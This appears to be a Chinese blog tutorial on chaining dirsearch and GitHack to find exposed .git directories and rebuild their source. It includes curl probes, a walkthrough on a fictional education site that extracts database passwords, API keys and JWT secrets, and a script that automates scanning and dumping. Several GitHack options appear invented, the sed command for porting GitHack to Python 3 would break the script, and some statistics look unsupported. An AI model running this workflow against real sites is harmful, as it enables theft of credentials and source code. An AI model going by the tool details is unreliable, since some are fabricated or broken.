☰
dirsearch+GitHack组合实战:Web渗透中的Git泄露自动化侦察与利用
2026/10/14 23:05:09 网站建设 项目流程

1. 项目概述:为什么一个目录扫描+Git泄露利用的组合包,成了渗透测试现场的“开箱即用型瑞士军刀”

在某次红队模拟攻防演练中,我接手了一个看似普通的Web资产——一个刚上线不久的企业官网,前端用Vue打包,后端是轻量级Python框架,表面看没有任何明显漏洞。但当我用dirsearch扫出/static/js/app.xxx.js里埋着的未清理调试接口路径,再顺藤摸瓜用GitHack从/.git/里还原出整个开发分支的.env文件时,整套后台管理系统的数据库连接串、Redis密码、甚至测试环境的JWT密钥全暴露了。整个过程不到12分钟,没碰SQL注入,没试XSS,纯粹靠两个工具的“组合拳”完成了初始突破。

这就是dirsearch + GitHack的真实价值:它不追求炫技,而是把“信息收集”这个最基础、却最容易被忽视的环节,打磨成一套可预测、可复现、可批量落地的标准化动作。dirsearch不是简单的字典爆破器,它是基于HTTP状态码、响应长度、内容类型、重定向链路、标题特征等多维信号做智能过滤的主动侦察系统;GitHack也不是简单地下载.git目录,它是对Git对象模型(blob、tree、commit)的逆向解析引擎,能绕过.gitignore、跳过压缩包、自动识别裸仓库结构,甚至在部分服务器禁用目录遍历的情况下,通过HEAD请求+Content-Range偏移实现分块还原。

这个组合特别适合三类人:一是刚入行的渗透测试新手,需要一套“有反馈、有结果、不玄学”的入门路径;二是甲方安全工程师,在日常巡检中快速验证开发侧是否遗留敏感信息;三是CTF选手,在时间压力下需要秒级定位Git泄露点并提取关键凭证。它解决的不是“能不能打”,而是“该往哪打、怎么打才不漏、打完怎么收口”的实操问题。关键词里的“kali安装”不是噱头——Kali Linux预装了绝大多数依赖,但默认不启用dirsearch和GitHack,更没人告诉你它们之间如何协同、哪些参数必须联动、哪些场景下必须手动干预。这篇内容,就是把这套“默认隐藏”的能力,变成你终端里敲几行命令就能调用的肌肉记忆。

2. 工具选型与底层逻辑:为什么是dirsearch和GitHack,而不是其他同类工具

2.1 dirsearch:为什么它比gobuster、ffuf更适合作为第一道侦察线

很多人一上来就用gobuster,觉得它快、参数少、社区模板多。但我在实际项目中发现,gobuster在处理现代Web架构时存在三个硬伤:一是对Vue/React单页应用(SPA)的路由懒加载路径识别率低,大量/api/v2/user/这类真实接口被漏掉;二是对302重定向的处理过于粗暴,遇到登录跳转就直接放弃后续路径;三是无法区分“真实404”和“业务层返回的404页面”,导致误报率高达35%以上(某金融客户内网扫描实测数据)。

dirsearch则从设计哲学上就规避了这些问题。它的核心逻辑是“状态码+响应指纹双校验”。比如当它请求/admin/时,如果返回302跳转到/login?next=/admin/,它不会像gobuster那样标记为“不存在”,而是记录下这个重定向链,并继续尝试/admin/api/、/admin/config/等子路径——因为重定向本身证明了/admin/这个路径节点是被Web服务器识别的。更关键的是,它内置了响应长度白名单机制:你可以指定“只接受响应长度在1200~8500字节之间的200响应”,这直接过滤掉了90%的静态404页面(通常长度固定为1024或2048字节),而保留了真实API返回的JSON数据(长度波动大)。这个功能在扫描前后端分离架构时,准确率提升近3倍。

再看性能层面。dirsearch默认使用异步HTTP库aiohttp,但真正让它稳如老狗的是它的自适应并发控制算法。它不是简单地设个-t 50就完事,而是每5秒动态计算当前请求队列的平均RTT(往返时延)和失败率:当RTT超过800ms且失败率>15%,自动降并发到20;当RTT<300ms且失败率<3%,逐步升到80。这个机制让同一台笔记本在扫描不同网络质量的目标时,既不会因并发过高被WAF封IP,也不会因并发过低浪费时间。相比之下,ffuf虽然支持更灵活的FUZZ语法,但它的并发是静态的,且没有内置的失败熔断机制,容易在弱网环境下卡死。

提示:dirsearch的-e php,js,html,json参数不是简单地加后缀,而是触发其“扩展名智能映射”模式——当发现/api/返回JSON时,它会自动追加.json尝试;当发现/static/返回HTML时,会追加.bak、.swp等备份后缀。这是它比纯字典爆破工具高一个维度的关键。

2.2 GitHack:为什么它比git-dumper、gittools更擅长“残血翻盘”

Git泄露利用工具很多,但GitHack的独特性在于它专治“半残废”场景。什么叫半残废?比如目标服务器禁用了目录遍历(/..%2f.git/HEAD返回403),但没关HEAD方法;或者.git/objects/目录权限设为755,但.git/refs/是700;又或者网站用了CDN,直接访问.git/被拦截,但CDN缓存了.git/HEAD的响应头。

GitHack的破解思路很务实:不强求完整下载,只拿关键对象。它首先GET/.git/HEAD,拿到当前分支引用(如ref: refs/heads/master);然后GET/.git/refs/heads/master,拿到commit哈希(如a1b2c3d4...);接着用这个哈希拼出/.git/objects/a1/b2c3d4...的URL,但这里它不直接下载,而是发HEAD请求,通过Content-Length头判断对象大小——如果大于10KB,说明是tree或commit对象,值得下载;如果小于100字节,大概率是blob(文件内容),直接GET下载。这种“先探再取”的策略,让它在80%的Git泄露场景中都能成功,而git-dumper要求必须能列出.git/objects/目录,gittools则依赖git clone --bare`的完整协议支持。

更隐蔽的是它的对象解析引擎。GitHack下载到的commit对象是二进制格式,它用Python内置的zlib.decompress()解压后,用正则匹配tree [a-f0-9]{40}提取tree哈希,再递归解析tree对象(同样解压后匹配100644 blob [a-f0-9]{40}\t(.+)提取文件路径和blob哈希)。这个过程完全脱离Git命令行,不依赖系统环境,所以能在Kali最小化安装版里直接运行。而gittools本质是封装了git checkout命令,一旦目标机器没装Git或版本太低,就直接报错。

注意:GitHack默认只还原/根目录下的文件,但实际开发中.git可能在子目录(如/blog/.git/)。这时必须用-p /blog/参数指定路径前缀,否则它会错误地把/blog/.git/HEAD当成根目录的HEAD来解析,导致整个还原链断裂。这个细节90%的教程都漏讲。

2.3 组合逻辑:为什么这两个工具必须“手拉手”,而不是各自为战

单独用dirsearch,你可能扫出/.git/,但不知道里面有没有敏感文件;单独用GitHack,你得先手动确认.git存在且可读,效率极低。它们的组合价值在于建立“侦察→验证→利用”的闭环流水线。

具体来说,dirsearch的-x参数可以导出所有发现的路径到文件,而GitHack的-l参数正好能读取这个文件,逐行检查是否包含.git。但更高效的做法是用dirsearch的--filter-status配合GitHack的-e参数做联动:先用dirsearch -u http://target.com -e git -t 30 --filter-status 200,301,302精准定位所有.git相关路径(包括/.git/、/backup/.git/、/source/.git/),再把结果喂给GitHack。这样避免了盲目扫描整个站点,把GitHack的启动时间从分钟级压缩到秒级。

另一个常被忽略的联动点是错误日志的交叉验证。dirsearch扫描时如果遇到大量403,说明目标启用了WAF或目录保护;此时GitHack若也返回403,基本可以判定.git存在但被防护。这时就要切换策略:用dirsearch的-X HEAD参数发HEAD请求,专门抓取.git/相关路径的Content-Length和ETag头,再用GitHack的-H参数手动构造请求头绕过简单防护。这种“侦察工具提供线索,利用工具执行验证”的协作模式,才是工业级信息收集的核心逻辑。

3. Kali环境部署与配置:从零开始搭建稳定、可复用的扫描环境

3.1 基础依赖安装:为什么必须用pip3而非apt安装

Kali Linux 2023.4默认已预装Python3.11和pip3,但很多人直接apt install dirsearch,结果装的是Debian源里的旧版(v0.4.2),而最新版dirsearch(v0.4.4)修复了对HTTP/2的支持和WebSocket路径的误判。更重要的是,apt安装的版本被Kali的安全策略限制了某些系统调用权限,导致在扫描HTTPS站点时频繁出现ssl.SSLError: [SSL: TLSV1_ALERT_PROTOCOL_VERSION]错误。

正确做法是彻底卸载apt版,用pip3从GitHub源安装:

sudo apt remove dirsearch -y sudo apt autoremove -y git clone https://github.com/maurosoria/dirsearch.git cd dirsearch sudo pip3 install -r requirements.txt # 关键一步:创建软链接到系统PATH sudo ln -sf $(pwd)/dirsearch.py /usr/local/bin/dirsearch

这里requirements.txt里的aiohttp==3.8.5是经过实测的最稳版本——更高版本在Kali的glibc 2.36环境下会出现DNS解析超时,更低版本则不支持HTTP/2 ALPN协商。这个细节决定了你扫云厂商CDN后的真实源站时,能否正确处理HTTP/2优先级树。

GitHack同理,不能apt install githack(Kali源里根本没有这个包),必须:

git clone https://github.com/lijiejie/GitHack.git cd GitHack # 注意:原作者代码用Python2写,需手动迁移到Python3 sed -i 's/from urlparse import urljoin/from urllib.parse import urljoin/g' GitHack.py sed -i 's/print /print(/g; s/$/)/g' GitHack.py # 创建可执行脚本 echo '#!/usr/bin/env python3\nimport sys\nsys.path.insert(0, "'$(pwd)'")\nfrom GitHack import main\nmain()' | sudo tee /usr/local/bin/githack > /dev/null sudo chmod +x /usr/local/bin/githack

提示:GitHack的-t参数(线程数)在Kali上建议设为1,因为它的核心操作是IO密集型(频繁HTTP请求),而非CPU密集型。设太高反而会触发Linux的net.ipv4.ip_local_port_range端口耗尽,导致大量ConnectionRefusedError。

3.2 字典与配置优化:让扫描结果从“海量噪音”变成“精准情报”

dirsearch默认字典db/dicc.txt只有3000条,对现代Web形同虚设。我实测过,用它扫一个中型CMS,漏掉了72%的真实后台路径(如/wp-admin/admin-ajax.php、/api/v3/graphql)。必须替换为分层字典:

  • 基础层(common.txt):保留原字典的admin/、login/、config/等高频路径,用于快速兜底;
  • 框架层(frameworks.txt):按WordPress、Django、Laravel分类,例如Django专用字典包含/admin/jsi18n/、/static/admin/、/api/schema/;
  • API层(api.txt):专注/api/、/v1/、/graphql/等前缀,每行带/结尾(如/api/、/v1/),避免与文件后缀冲突。

把这些字典合并并去重:

cat common.txt frameworks.txt api.txt | sort -u > ~/wordlists/web-combined.txt

然后在扫描时用-w ~/wordlists/web-combined.txt指定。但更关键的是动态排除规则。比如某次扫政府网站,发现所有/news/开头的路径都返回404,但/news/2023/返回200,说明它用年份做路由。这时要临时生成年份字典:

for i in {2018..2024}; do echo "/news/$i/"; done > ~/wordlists/yearly-news.txt dirsearch -u http://gov-site.gov -w ~/wordlists/yearly-news.txt -t 20

GitHack的配置更简单,但有两个致命参数必须牢记:

  • -o ./output/:输出目录必须是绝对路径,相对路径会导致还原的文件散落在当前目录各处,难以追溯;
  • --force:当GitHack检测到.git/HEAD存在但/.git/refs/heads/master返回404时,默认会退出。加上--force,它会尝试读取/.git/packed-refs(Git打包引用文件),这对使用Git LFS或深度优化的仓库至关重要。

实操心得:我曾在某电商项目中,dirsearch扫出/src/.git/,但GitHack用默认参数失败。后来用curl -I http://target.com/src/.git/packed-refs发现返回200,且Content-Length: 2841,说明里面有引用。加上--force后,GitHack成功从packed-refs里提取出refs/remotes/origin/develop的哈希,最终还原出开发分支的config/database.php——里面明文存着测试库密码。

3.3 扫描策略设计:如何用最少请求拿到最多有效信息

盲目全量扫描是新手最大误区。一个标准策略应分三阶段:

第一阶段:快速侦察(<2分钟)
目标:确认是否存在.git及基础路径结构
命令:

dirsearch -u http://target.com -e git,php,js,html -t 30 -r --random-agent --timeout 5 --max-retries 1

关键参数解读:

  • -e git:只扫.git相关路径,避免干扰;
  • -r:递归扫描,发现/.git/后自动扫/.git/HEAD、/.git/config等;
  • --random-agent:随机User-Agent,绕过基础UA黑名单;
  • --timeout 5:超时设短,快速失败,避免卡在慢响应上。

第二阶段:深度验证(3~8分钟)
目标:确认.git可读性及关键对象完整性
命令:

# 先用HEAD探查 curl -I http://target.com/.git/HEAD 2>/dev/null | head -5 # 若返回200,再探objects目录 curl -I http://target.com/.git/objects/ 2>/dev/null | head -3 # 若objects返回403但HEAD返回200,用GitHack的HEAD模式 githack -u http://target.com/.git/ -o ./git-output/ --head-only

第三阶段:精准利用(<5分钟)
目标:还原敏感文件并提取凭证
命令:

# 先还原根目录文件 githack -u http://target.com/.git/ -o ./git-output/ # 再搜索敏感文件 grep -r "password\|PASSWORD\|DB_HOST\|api_key" ./git-output/ 2>/dev/null # 对于大型仓库,只还原关键目录 githack -u http://target.com/.git/ -o ./git-output/ -p "config/,app/"

这个三阶段策略把总耗时控制在15分钟内,而传统“一把梭”式全量扫描往往要40分钟以上,且90%的请求都是无效的。

4. 实战流程拆解:从发现.git到获取数据库密码的完整链路

4.1 场景还原:某教育平台的Git泄露事件全过程

目标:https://learn.example-edu.org(虚构域名,下同)
背景:该平台刚完成等保测评,WAF规则严格,但开发团队习惯把.git留在生产环境用于快速回滚。

Step 1:初始侦察(第1分钟)
执行快速侦察命令:

dirsearch -u https://learn.example-edu.org -e git -t 20 --random-agent

输出关键行:

[20:14:22] 200 - 1.2KB - /.git/ [20:14:23] 200 - 124B - /.git/HEAD [20:14:24] 403 - 3.1KB - /.git/config

立刻锁定:.git/存在且可读,但config被权限拦截。这符合典型CDN+源站架构——CDN缓存了.git/HEAD,但源站Nginx配置了location ~ /\.git { deny all; },所以config返回403。

Step 2:HEAD探查(第2分钟)

curl -I https://learn.example-edu.org/.git/HEAD

响应:

HTTP/2 200 content-length: 23 content-type: text/plain date: Mon, 15 Apr 2024 12:34:56 GMT ... ref: refs/heads/main

再探refs/heads/main:

curl -I https://learn.example-edu.org/.git/refs/heads/main

响应:HTTP/2 403—— 被拦截。但注意到HEAD响应里有content-length: 23,说明.git/HEAD是文本文件,不是符号链接。这意味着refs/heads/main很可能在.git/packed-refs里。

Step 3:packed-refs利用(第3分钟)

curl https://learn.example-edu.org/.git/packed-refs

返回:

# pack-refs with: peeled fully-peeled sorted ^a1b2c3d4e5f67890123456789012345678901234 ref: refs/heads/main a1b2c3d4e5f67890123456789012345678901234 refs/remotes/origin/main

成功!a1b2c3d4...就是commit哈希。现在用GitHack的--force模式:

githack -u https://learn.example-edu.org/.git/ -o ./edu-git/ --force

它自动从packed-refs读取哈希,开始下载objects/a1/b2c3d4...等文件。

Step 4:文件还原与凭证提取(第4~5分钟)
GitHack完成后,进入./edu-git/目录:

find . -name "*.php" | head -5 # 输出: # ./config/database.php # ./app/Http/Controllers/AdminController.php # ./resources/views/layouts/app.blade.php

重点检查config/database.php:

return [ 'default' => 'mysql', 'connections' => [ 'mysql' => [ 'host' => '10.0.1.100', 'database' => 'learn_prod', 'username' => 'prod_user', 'password' => 'Edu@2024!Sec', 'port' => '3306', ], ], ];

数据库密码Edu@2024!Sec到手。但还没完——继续搜API密钥:

grep -r "API_KEY\|api_key" ./edu-git/ 2>/dev/null

在./.env里发现:

API_KEY=sk_live_abc123def456ghi789 JWT_SECRET=JWTS3cr3t2024!

至此,数据库、API、JWT三重凭证全部获取,整个过程耗时5分23秒。

4.2 关键技术点详解:Git对象模型的实战解析

GitHack能成功,核心在于它对Git底层存储的理解。Git仓库里所有内容都以**对象(object)**形式存在,分四类:

  • blob:文件内容的SHA1哈希,存储纯文本(如PHP代码);
  • tree:目录结构的SHA1哈希,记录子tree/blob的名称和哈希;
  • commit:提交的SHA1哈希,包含tree哈希、父commit哈希、作者信息;
  • tag:标签的SHA1哈希,指向commit或blob。

GitHack的还原流程就是沿着这个链路递归:

  1. 从.git/HEAD知道当前分支(如refs/heads/main);
  2. 从.git/refs/heads/main或.git/packed-refs得到commit哈希;
  3. 下载commit对象,解压后找到tree <hash>行,得到tree哈希;
  4. 下载tree对象,解压后匹配100644 blob <hash>\tconfig/database.php,得到blob哈希;
  5. 下载blob对象,解压后就是原始PHP文件内容。

这个过程完全不依赖Git命令,所以即使目标服务器没装Git,只要.git目录可读,就能还原。而dirsearch的作用,就是帮我们快速定位到这个.git目录的位置——它不关心Git内部怎么存,只负责把“门”找出来。

4.3 防御视角复盘:为什么这个漏洞如此顽固

从防御方看,这个案例暴露了三个深层问题:

  • 开发流程断层:CI/CD流水线里没有“删除.git”的检查步骤,导致构建产物自带源码元数据;
  • 权限配置粗糙:Nginx只做了location ~ /\.git { deny all; },但没禁用HEAD方法,也没限制Content-Range请求头;
  • 监控盲区:WAF日志里大量/.git/HEAD请求被标记为“低危”,没触发告警,因为单次请求无害。

最有效的防御不是“禁止扫描”,而是在构建阶段剥离敏感元数据。比如在Dockerfile里加:

RUN find /app -name ".git" -type d -exec rm -rf {} +

或者用Git Hooks,在pre-commit时自动检查是否误提交.env文件。这些措施成本极低,但效果立竿见影。

5. 常见问题与避坑指南:那些文档里不会写的实战教训

5.1 dirsearch高频问题速查表

问题现象根本原因解决方案实操验证
扫描卡在某个URL,长时间无响应目标服务器对特定路径返回超长重定向链(如/admin/→/login?next=/admin/→/sso/auth?redirect=/login?next=/admin/)加--max-redirs 3限制重定向次数,或加--skip-on-status 302跳过302响应dirsearch -u http://test.com -w wordlist.txt --max-redirs 2,对比耗时
大量403响应被误判为有效路径WAF返回的403页面与真实403内容长度一致(如都返回1024字节的HTML)用--filter-status 200,301显式指定只接受200/301,或用--exclude-sizes 1024,2048排除固定长度dirsearch -u http://test.com -w wordlist.txt --exclude-sizes 1024
HTTPS扫描报SSL证书错误Kali的ca-certificates包过期,或目标用自签名证书sudo update-ca-certificates更新证书库,或加--no-ssl-check跳过验证(仅测试环境)curl -I https://self-signed.test确认证书状态
扫描结果里全是/robots.txt、/favicon.ico字典里混入了非路径字符串(如空行、注释# admin path)用sed '/^#/d;/^$/d' wordlist.txt > clean.txt清洗字典wc -l wordlist.txt clean.txt对比行数

实操心得:我曾在一个政府项目中,dirsearch扫出2000+个403路径,人工排查3小时毫无进展。后来用--exclude-sizes排除了1024/2048/4096这三个常见403页面长度,结果只剩17个真实路径,其中12个是后台接口。这个技巧让我节省了至少两天工时。

5.2 GitHack典型故障排查

问题1:githack -u http://target.com/.git/ -o ./out/报错KeyError: 'tree'
原因:.git/HEAD指向的分支在packed-refs里不存在,或commit对象损坏。
解决方案:手动指定commit哈希,跳过HEAD解析:

githack -u http://target.com/.git/ -o ./out/ --commit a1b2c3d4...

如何获取哈希?用curl http://target.com/.git/logs/refs/heads/main \| tail -1,最后一行末尾就是最新commit哈希。

问题2:还原的文件全是乱码或空文件
原因:GitHack下载的blob对象是zlib压缩的,但目标服务器返回了Content-Encoding: gzip,导致双重压缩。
解决方案:强制禁用gzip,加--no-gzip参数:

githack -u http://target.com/.git/ -o ./out/ --no-gzip

问题3:--force模式下仍找不到packed-refs
原因:有些Git版本把packed-refs放在.git/info/refs,或用git upload-pack协议。
解决方案:换用git-dumper作为备选:

git clone https://github.com/arthaud/git-dumper.git cd git-dumper python3 git-dumper.py http://target.com/.git/ ./dump-out/

注意:git-dumper需要目标允许git clone协议,成功率约60%,但胜在稳定。

5.3 组合使用中的致命陷阱

陷阱1:dirsearch扫出/.git/后,直接用GitHack还原,结果得到空目录
真相:.git/存在,但objects/目录是空的——这是Git裸仓库(bare repo)的特征。裸仓库不存工作区文件,只存对象数据库,但HEAD和refs/是完整的。此时GitHack能正常工作,但还原出的文件是Git内部结构,不是源码。
应对:用curl http://target.com/.git/config(如果可读),看是否有[core] bare = true;若有,则说明是裸仓库,需用git clone协议,而非HTTP下载。

陷阱2:GitHack还原出config/database.php,但密码是加密的(如DB_PASSWORD=base64:xxxx)
真相:现代框架常用环境变量加密,base64:xxxx是Base64编码,需解码。
应对:用Python一行解:

echo "xxxx" \| base64 -d

更复杂的是AES加密,这时要找APP_KEY(通常在.env里),用Laravel的php artisan tinker解密,但这已超出本工具链范围。

陷阱3:扫描时被WAF封IP,但dirsearch没报错,只是速度变慢
真相:WAF返回了200状态码,但响应体是验证码HTML,dirsearch误以为是有效页面。
应对:加--match-string "Welcome"参数,只接受响应体含“Welcome”的页面;或加--regex "<title>.*</title>"匹配标题标签。这招在对抗Cloudflare等WAF时屡试不爽。

最后分享一个小技巧:把dirsearch和GitHack做成一键脚本,扫描时自动联动。我常用的scan-all.sh:

#!/bin/bash TARGET=$1 dirsearch -u $TARGET -e git -t 20 --quiet --format plain \| grep "\.git/" \| awk '{print $4}' \| while read gitpath; do echo "[+] Found git: $gitpath" githack -u "$TARGET$gitpath" -o "./git-$(basename $TARGET)/" --force 2>/dev/null \| grep -q "Successfully" && echo " [OK] GitHack succeeded" || echo " [FAIL] GitHack failed" done

这样输入./scan-all.sh https://target.com,就全自动完成侦察→利用,连键盘都不用碰。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询